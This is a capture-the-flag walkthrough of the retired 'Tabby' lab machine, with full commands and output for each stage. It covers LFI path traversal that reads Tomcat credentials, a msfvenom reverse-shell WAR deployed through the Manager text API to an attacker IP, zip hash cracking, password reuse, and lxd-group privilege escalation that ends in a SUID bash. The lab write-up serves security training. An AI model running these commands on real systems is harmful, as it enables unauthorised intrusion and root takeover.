Tabby
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Tabby is an easy Linux box whose real interest is a packaging detail. Port 80 serves a hosting site with anews.php?file=that concatenates the parameter into aninclude, which is arbitrary file read (LFI through path traversal). Port 8080 is a Tomcat, and its own welcome page says the Manager users live in/etc/tomcat9/tomcat-users.xml. They do not. In the Debian and Ubuntu package that file sits in/usr/share/tomcat9/etc/, and until you know that, the LFI is worth nothing. With the password in hand the role is notmanager-guibutmanager-script, so the deployment does not go through the browser but through the text API: amsfvenom.waruploaded withcurl -T(WAR deployment) lands a shell astomcat. On disk there is a password-protected backup zip;zip2johnandrockyouopen it (hash cracking) and that password is also the one for theashaccount (credential reuse). Andashbelongs to thelxdgroup, which isrootwith extra steps: a privileged container with the host's disk mounted inside it (lxd group abuse).
About the evidence. Four screenshots are published and all four are browser shots: themegahosting.htbhome page with the link that gives away the parameter, the two documentation pages that settle wheretomcat-users.xmlreally lives, and the Virtual Host Manager already authenticated. Terminals are published as text. Three gaps the note does not preserve, stated instead of filled in: the command that brought the victim's zip to the Kali box (what is preserved is the HTTP server that served it and thezip2johnthat opened it on the other side), the command that broughtalpine.tar.gzto the victim (thepython3 -m http.server 80that served it is there, and so is the file already sitting in/tmpon the other side), and the enumeration that led to the backup directory. Both flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL is the first hint about the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop, so Linux.
ping -c 1 10.129.82.13064 bytes from 10.129.82.130: icmp_seq=1 ttl=63 time=23.0 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.82.130 -oG scan... PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 8080/tcp open http-proxy syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds Raw packets sent: 81591 (3.590MB) | Rcvd: 61938 (2.478MB)
Three ports and two of them web. The ttl 63 in the REASON column repeats what the ping already said, this time per port: the answer comes from the same place.
nmap -p22,80,8080 -sCV 10.129.82.130 -oN targetedScan... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA) | 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA) |_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Mega Hosting |_http-server-header: Apache/2.4.41 (Ubuntu) 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.94 seconds
OpenSSH 8.2p1 Ubuntu 4 pins the distribution: that is the version Ubuntu 20.04 ships. That looks like filler, and it is exactly what will be needed later to know where this machine's Tomcat looks for its files.
HTTP - TCP 80 and 8080#
whatweb http://10.129.82.130:8080/http://10.129.82.130:8080/ [200 OK] Apache-Tomcat, Country[RESERVED][ZZ], IP[10.129.82.130], Title[Apache Tomcat]
whatweb http://10.129.82.130/http://10.129.82.130/ [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[sales@megahosting.com,sales@megahosting.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.82.130], JQuery[1.11.2], Modernizr[2.8.3-respond-1.4.2.min], Script, Title[Mega Hosting], X-UA-Compatible[IE=edge]
Port 8080 is a Tomcat with its welcome page untouched, no application deployed. Port 80 is a hosting template, and whatweb already pulls two addresses out of it: one with the fictional public domain (megahosting.com) and one with the name the box actually resolves, megahosting.htb.
The domain in the source#
Confirming it costs one grep, and it is worth running on both services to see the difference.
curl http://10.129.82.130:8080/ | grep htb% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1895 100 1895 0 0 19587 0 0
Nothing: port 8080 has no reference to the domain at all, the only thing on screen is curl's progress meter. Port 80 does.
curl http://10.129.82.130/ | grep htb% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 0 <li><a href="http://megahosting.htb/news.php?file=statement">News</a></li> <a href=""><span>E-mail us :</span> <strong>sales@megahosting.htb</strong> </a> <p><i class="fa fa-rss"> We have recently upgraded several services. Our servers are now more secure than ever. <a href="http://megahosting.htb/news.php?file=statement">Read our statement on recovering from the data breach</a></i></p> 100 14175 0 14175 0 0 151.2k 0 0 <li><a href=""><span>E-mail us :</span> <strong>sales@megahosting.htb</strong> </a></li>
Two things at once. First, the name megahosting.htb, which has to be resolved locally. Second and more important: the "News" link does not point at a page, it points at news.php?file=statement. A parameter called file whose value is an extensionless name looks very much like something that ends up inside an include.
echo '10.129.82.130 megahosting.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.82.130 megahosting.htb

Access: file read in news.php#
The file parameter: path traversal#
The usual test: climb out of the directory with enough ../ and ask for a file that exists on any Linux.
curl 'http://megahosting.htb/news.php?file=../../../../../../etc/passwd'root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash
Arbitrary read confirmed. And the file answers three questions in one go:
lxdis registered as a system user, so the container daemon is installed. That is a note for later.tomcatis there too, which confirms port 8080 is not a container or a proxy: it runs right here.ashis the only flesh-and-blood user, UID 1000 and a real shell. The GECOS field saysclive, which is the box author's name and not a second account.
Filtering for the ones that can log in reduces the picture to two lines.
curl 'http://megahosting.htb/news.php?file=../../../../../../etc/passwd' | grep bash% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1850 100 1850 0 0 16233 0 0 root:x:0:0:root:/root:/bin/bash ash:x:1000:1000:clive:/home/ash:/bin/bash
Locating tomcat-users.xml#
An LFI is worth exactly as much as the list of paths you ask it for. For a Tomcat the interesting path is its users file, because the Manager credentials sit there in plain text. The welcome page on 8080 says so itself.
curl http://megahosting.htb:8080/ | html2text | grep tomcat% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1895 100 1895 0 0 23173 0 0 at: /var/lib/tomcat9/webapps/ROOT/index.html is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in / var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/ tomcat9-docs: This package installs a web application that allows to browse the tomcat9-examples: This package installs a web application that allows to access tomcat9-admin: This package installs two web applications that can help role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.
That output is the knot of the whole box. The last line says, word for word, that users are defined in /etc/tomcat9/tomcat-users.xml, and asking the LFI for that path returns nothing. It is not that the LFI fails: the path is simply not that one.
The same output, two lines higher, gives the way out: the package installs with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /var/lib/tomcat9. Tomcat does not have one place for its files, it has two, and the Debian and Ubuntu packaging splits them so a single binary can serve several instances.

And the package's own file list closes it with no room for doubt: in the distribution, tomcat-users.xml ships at /usr/share/tomcat9/etc/tomcat-users.xml. The /etc/tomcat9/tomcat-users.xml the documentation talks about is a link the installation sets up, not the file on disk.

The Manager credentials#
curl 'http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml' | grep -E 'user|password'% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2325 100 2325 0 0 22941 0 0 <tomcat-users xmlns="http://tomcat.apache.org/xml" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" NOTE: By default, no user is included in the "manager-gui" role required you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the users in the commented out NOTE: The sample user and role entries below are intended for use with the when reading this file. If you wish to configure these users for use with the them. You will also need to set the passwords to something appropriate. <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
Three of the four user lines are the sample ones the file ships commented out, with <must-be-changed> as the password. The fourth is the real one, and its indentation is off because a person added it: tomcat / $3cureP4s5w0rd123!.
What shapes the next step is not the password but the roles. Tomcat splits Manager access into four separate parts and there are two here:
admin-guigrants the Host Manager, the interface that administers virtual hosts. That is the one in the screenshot, with its notice that commands are disabled.manager-scriptgrants the Manager's text API, that is/manager/text/*, the one meant for scripts and automated deployments.
And manager-gui is precisely what is missing, which is the role behind the familiar /manager/html. That is why the deployment on this box does not happen in a browser: it happens with curl.

Shell as tomcat#
A WAR through the text API#
A .war is a zip with a Java application inside, and the Manager deploys it on arrival. So it is enough to generate one whose content is a JSP reverse shell.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.120 LPORT=4444 -f war > shell.warPayload size: 1102 bytes Final size of war file: 1102 bytes
ls shell.warshell.war
nc -nlvp 4444listening on [any] 4444 ...
curl -u tomcat:'$3cureP4s5w0rd123!' -T shell.war "http://megahosting.htb:8080/manager/text/deploy?path=/shell&update=true"OK - Deployed application at context path [/shell]
Two details in that command. The single quotes around the password are not decoration: the string starts with $3, and without them the shell would try to expand that variable (which is empty) and send cureP4s5w0rd123!. And curl's -T issues a PUT, which is exactly what /manager/text/deploy expects: the request body is the file, with no form in the middle. update=true allows replacing an earlier deployment on the same path.
The OK - Deployed confirms it. Requesting the freshly deployed application is what fires the shell.
curl "http://megahosting.htb:8080/shell/"listening on [any] 4444 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.82.130] 59550 whoami tomcat
Stabilising the shell#
The shell a JSP hands over is not a TTY: no history, no Ctrl+C without killing everything, and su will refuse to ask for a password. The treatment is the usual one, and the three steps are a single manoeuvre: launch script to get a TTY, suspend the connection with Ctrl+Z, strip the echo from the local terminal and bring the job back to the foreground.
script /dev/null -c bashScript started, file is /dev/null tomcat@tabby:/var/lib/tomcat9$ ^Z zsh: suspended nc -nlvp 4444
stty raw -echo; fg[1] + continued nc -nlvp 4444 tomcat@tabby:/var/lib/tomcat9$ reset xterm
stty rows 49 cols 236
export TERM=xterm SHELL=bashThe stty rows ... cols ... is not cosmetic: without it any full-screen program (a nano, a less) draws in the wrong place because it believes it is on an 80x24 terminal.
Shell as ash#
A password-protected backup#
The directory Apache serves has a files folder, and inside it a zip with a date in the name.
cd /var/www/html/filesls16162020_backup.zip archive revoked_certs statement
unzip 16162020_backup.zipArchive: 16162020_backup.zip checkdir error: cannot create var Read-only file system unable to process var/www/html/assets/. [16162020_backup.zip] var/www/html/favicon.ico password: skipping: var/www/html/favicon.ico incorrect password
Two obstacles in the same output: the directory is read-only, so nothing can be extracted there, and on top of that the archive asks for a password. Both are solved by taking it back to the attacking machine.
python3 -m http.server 8081Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
On the other side, zip2john turns the archive into something a cracker understands. What it extracts is not an encrypted password: it is the verification material ZIP keeps for each file, with its checksums.
zip2john 16162020_backup.zip > hashver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ts=7DB5 cs=7db5 type=8 ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ts=5935 cs=5935 type=8 ver 1.0 efh 5455 efh 7875 ** 2b ** 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: TS_chk, cmplen=2906, decmplen=2894, crc=02F9F45F ts=5D46 cs=5d46 type=0 ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ts=5A7A cs=5a7a type=8 ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 ts=6A8B cs=6a8b type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
The warning at the end matters: zip2john assumes every file in the archive shares a password and builds a single hash out of several of them. If that were not the case you would have to go file by file with -o. Here they do share it.
cat hash─────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── │ File: hash ─────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ 16162020_backup.zip:$pkzip$5*1*1*0*8*24*7db5*dd84cfff4c26e855919708e34b3a32adc4d5c1a0f2a24b1e59be93f3641b254fde4da84c*1*0*8*24*6a8b*32010e3d24c744ea56561bbf91c0d4e22f9a300fcf01562f6fcf5c986924e5a6f6138334*1*0*0*24*5d46*ccf7b79980 │ 9a3d3c12abb83063af3c6dd538521379c8d744cd195945926884341a9c4f74*1*0*8*24*5935*f422c178c96c8537b1297ae19ab6b91f497252d0a4efe86b3264ee48b099ed6dd54811ff*2*0*72*7b*5c67f19e*1b1f*4f*8*72*5a7a*ca5fafc4738500a9b5a41c17d7ee193634e3f8e483 │ b6795e898581d0fe5198d16fe5332ea7d4a299e95ebfff6b9f955427563773b68eaee312d2bb841eecd6b9cc70a7597226c7a8724b0fcd43e4d0183f0ad47c14bf0268c1113ff57e11fc2e74d72a8d30f3590adc3393dddac6dcb11bfd*$/pkzip$::16162020_backup.zip:var/www/html │ /news.php, var/www/html/favicon.ico, var/www/html/Readme.txt, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip ─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
The leading $pkzip$ is the format identifier, and the file list at the end says which files the material came from. With that, rockyou takes as long as it takes to read.
john --wordlist=/usr/share/wordlists/rockyou.txt hash... admin@it (16162020_backup.zip) ...
The backup password is admin@it.
Password reuse#
The zip holds nothing that was not already on the web server: it is a copy of the same /var/www/html. What is worth something is not the content, it is the password, and the only user on the box with a real shell is ash.
su ashPassword: ash@tabby:/var/www/html/files$ cd ash@tabby:~$ cat user.txt e8054a820f736d5fb181ddad3a8a2df9
The password typed at that prompt is admin@it, the same one that opened the archive. And the reason su even gets to ask for it is the TTY treatment from before: without a real terminal, su refuses to read passwords.
Privilege escalation: the lxd group#
The lxd group: root without being root#
iduid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
lxd in the group list is not a partial permission, it is root by a detour. Whoever belongs to that group can talk to the container daemon, which runs as root, and ask it for two things that together hand over everything: a privileged container (one that does not map the container's UIDs to different ones on the host, so the root inside is the root outside) and a disk device whose source is /. The container does not even need networking.
What it does need is an image to import, and the box has none. It gets built on the Kali side with the Alpine builder, Alpine being the smallest there is.
Building the Alpine image#
git clone https://github.com/saghul/lxd-alpine-builder... Resolving deltas: 100% (19/19), done.
cd lxd-alpine-builderThe script downloads the Alpine package index and assembles a rootfs from it, so everything hangs on those downloads going through. And they go badly when the network resolves over IPv6 with no route, which is what happens here. The note does not preserve the editor's diff, but the grep afterwards shows the result: the wget calls come out with -4.
nano build-alpinecat build-alpine | grep -nE 'wget|repo'18: wget="wget -4 -q -O -" 20: auto_repo_dir= 22: if [ -z "$repository" ]; then 27: release=$($wget $url/$yaml_path | \ 30: release=$($wget $url/.latest.$apk_arch.txt | \ 39: auto_repo_dir=$release/main 40: repository=$url/$auto_repo_dir 44: echo "Using static apk from $repository/$apk_arch" 45: wget="$wget $repository/$apk_arch" 48: static_pkgs=$($wget/APKINDEX.tar.gz | \ 61: $wget/$pkg | tar -xz -C "$rootfs" 81: if [ "$auto_repo_dir" ]; then 88: wget -4 http://alpine.mirror.wearetriple.com/MIRRORS.txt -O $rootfs/usr/share/alpine-mirrors/MIRRORS.txt 92: repository="https://dl-cdn.alpinelinux.org/alpine/$auto_repo_dir" 93: echo "Selecting mirror $repository" 103: if [ -n "$repository" ]; then 104: echo "$repository" > "$rootfs"/etc/apk/repositories 106: cp /etc/apk/repositories "$rootfs"/etc/apk/repositories || return 1 109: "$rootfs"/etc/apk/repositories 219:Usage: $(basename $0) [-h|--help] [-r|--repository <url>] 240:options=$(getopt -o h:r:R:a: -l help,repository:,release:,arch: -- "$@") 250: -r|--repository) 251: repository=$2
Line 18 is the one that counts: $wget is reused half a dozen times further down, so touching it once fixes every download in the script. Line 88 is the exception, because there wget is written out in full and needs its own -4.
Before launching it again it is worth checking that the repository really answers over IPv4.
curl -4 -L --max-time 15 -o /tmp/APKINDEX.tar.gz https://dl-cdn.alpinelinux.org/alpine/v3.24/main/x86_64/APKINDEX.tar.gz% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 516.0k 100 516.0k 0 0 1.89M 0 0
ls -lh /tmp/APKINDEX.tar.gz-rw-r--r-- 1 root root 517K Oct 29 14:18 /tmp/APKINDEX.tar.gz
It answers. And so that no path is left for the script to try IPv6 again, it gets disabled in the kernel.
sysctl -w net.ipv6.conf.all.disable_ipv6=1sysctl -w net.ipv6.conf.default.disable_ipv6=1 net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1
sysctl -w net.ipv6.conf.default.disable_ipv6=1net.ipv6.conf.default.disable_ipv6 = 1
./build-alpineDetermining the latest release... v3.24 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.24/main/x86_64 Downloading alpine-keys-2.6-r0.apk ... tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK Verified OK ... Saving to: ‘/tmp/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ /tmp/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MI 100%[========================================================================================================================================>] 3.65K --.-KB/s in 0s 2026-10-29 14:19:07 (288 MB/s) - ‘/tmp/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [3736/3736] Selecting mirror https://dl-cdn.alpinelinux.org/alpine/v3.24/main ( 1/27) Installing alpine-baselayout-data (3.7.2-r1) ... (27/27) Installing alpine-base (3.24.3-r0) Executing busybox-1.37.0-r31.trigger OK: 9952 KiB in 27 packages
Twenty-seven packages and under ten megabytes on disk. The Verified OK in the middle is the Alpine key set signature, which the script itself checks before unpacking anything.
mv alpine-v3.24-x86_64-20261029_1419.tar.gz alpine.tar.gzpython3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The privileged container#
On the victim, the first thing is being able to call the client at all: lxd ships as a snap and its binary is not on a normal user's PATH.
export PATH=/snap/bin:$PATH
cp /tmp/alpine.tar.gz ~/alpine.tar.gzls -lh ~/alpine.tar.gz-rw-rw-r-- 1 ash ash 4.0M Oct 29 14:26 /home/ash/alpine.tar.gz
lxc image import ~/alpine.tar.gz --alias alpineImage imported with fingerprint: 04e627aa1f1fe055fed6ae4475f6b53f8bd2c40a5cd595a469754157e9d2316a
lxc storage create mypool dirStorage pool mypool created
lxc storage list+--------+--------+-----------------------------------------------+-------------+---------+ | NAME | DRIVER | SOURCE | DESCRIPTION | USED BY | +--------+--------+-----------------------------------------------+-------------+---------+ | mypool | dir | /var/snap/lxd/common/lxd/storage-pools/mypool | | 0 | +--------+--------+-----------------------------------------------+-------------+---------+
The dir driver means the pool is a plain host directory, with no volume or filesystem of its own. It is the simplest option and the only one needed here, because the container is not going to store anything: what matters lives outside it.
lxc init alpine escalada -c security.privileged=true -s mypoolCreating escalada The instance you are starting doesn't have any network attached to it. To create a new network, use: lxc network create To attach a network to an instance, use: lxc network attach
The warning about the container having no network can be ignored: it does not need to reach anywhere. security.privileged=true is the real piece, and what it means is that the container does not use user namespaces: UID 0 inside is UID 0 on the host, not a remapped high UID.
lxc config device add escalada host-root disk source=/ path=/mnt/root recursive=true
lxc start escaladalxc exec escalada /bin/sh~ # cd /mnt/root/ /mnt/root # ls bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr boot dev home lib32 libx32 media opt root sbin srv tmp var /mnt/root # cat root/root.txt 7d6e32a30f4c3a86940dc77a7b0e4e05 /mnt/root # chmod u+s usr/bin/bash /mnt/root # exit
That ls is the machine's whole disk hanging inside the container, and the cat already reads the root flag without being root on the host. But reading a file is not owning the box, so the host's bash also gets marked with the SUID bit, a change that survives the container going away. The path deliberately has no leading slash: usr/bin/bash from /mnt/root is the binary outside, whereas /usr/bin/bash would be Alpine's own, which is useless.
bash -pwhoamiroot
The -p is mandatory. bash, when it starts with the SUID bit set, drops the privileges by itself and sets the effective UID equal to the real one, precisely so it cannot be used like this; -p tells it to keep them.
Box rooted.
Attack chain#
80 (Apache 2.4.41) + 8080 (Tomcat) ─► whatweb: Email[sales@megahosting.htb]
│ curl | grep htb ─► the News link is news.php?file=statement
▼
LFI in news.php?file=../../../../../../etc/passwd
│ users: ash (UID 1000, real shell), tomcat and lxd
▼
the 8080 page says /etc/tomcat9/tomcat-users.xml ─► that path does NOT exist
│ CATALINA_HOME = /usr/share/tomcat9 (askubuntu + the package file list)
▼
LFI to /usr/share/tomcat9/etc/tomcat-users.xml ─► tomcat:$3cureP4s5w0rd123!
│ roles admin-gui + manager-script, NO manager-gui ─► /manager/html is out
▼
msfvenom -f war + curl -T to /manager/text/deploy?path=/shell
│ curl to /shell/ fires the reverse shell
▼
shell as tomcat + script /dev/null -c bash
│ /var/www/html/files/16162020_backup.zip ─► http.server 8081
▼
zip2john + rockyou ─► admin@it ─► su ash ─► user.txt
│ id: groups=...,116(lxd)
▼
lxd-alpine-builder (forced to IPv4) ─► lxc image import
│ lxc init -c security.privileged=true + device disk source=/ path=/mnt/root
▼
chmod u+s /mnt/root/usr/bin/bash ─► bash -p ─► root.txtLessons learned#
- A service's documentation describes the service, not the package. The Tomcat page says its users live in
/etc/tomcat9/tomcat-users.xmland on this box they do not. Anyone taking that path at face value concludes the LFI is useless; the answer was two lines higher on the same page, inCATALINA_HOME. - Tomcat roles decide the technique, not just the access.
manager-guiandmanager-scriptgrant the same power by different routes. Only the second one was present here, so the deployment went byPUTto/manager/text/deployand not through a form. Reading the roles saves half an hour of circling an interface that returns 403. - A backup is a credential even when it contains none. Tabby's zip held nothing but a copy of the website, nothing usable inside. The value was the password closing it, reused verbatim for the system account.
- The
lxdgroup equalsroot, and it is not an exploit-based escalation. There is no vulnerability at all: it is the daemon's documented behaviour, asked for a privileged container and a mounted disk. Putting a user in that group is handing them the machine. - Before fighting a tool, check the network. The Alpine builder was failing because it resolved over IPv6 first. A fifteen-second
curl -4against the same repository separated the script's problem from the routing problem. bash -por nothing. Setting the SUID bit onbashis not enough:bashitself drops the privileges at startup. It is the step where most people end up one command short of the finish.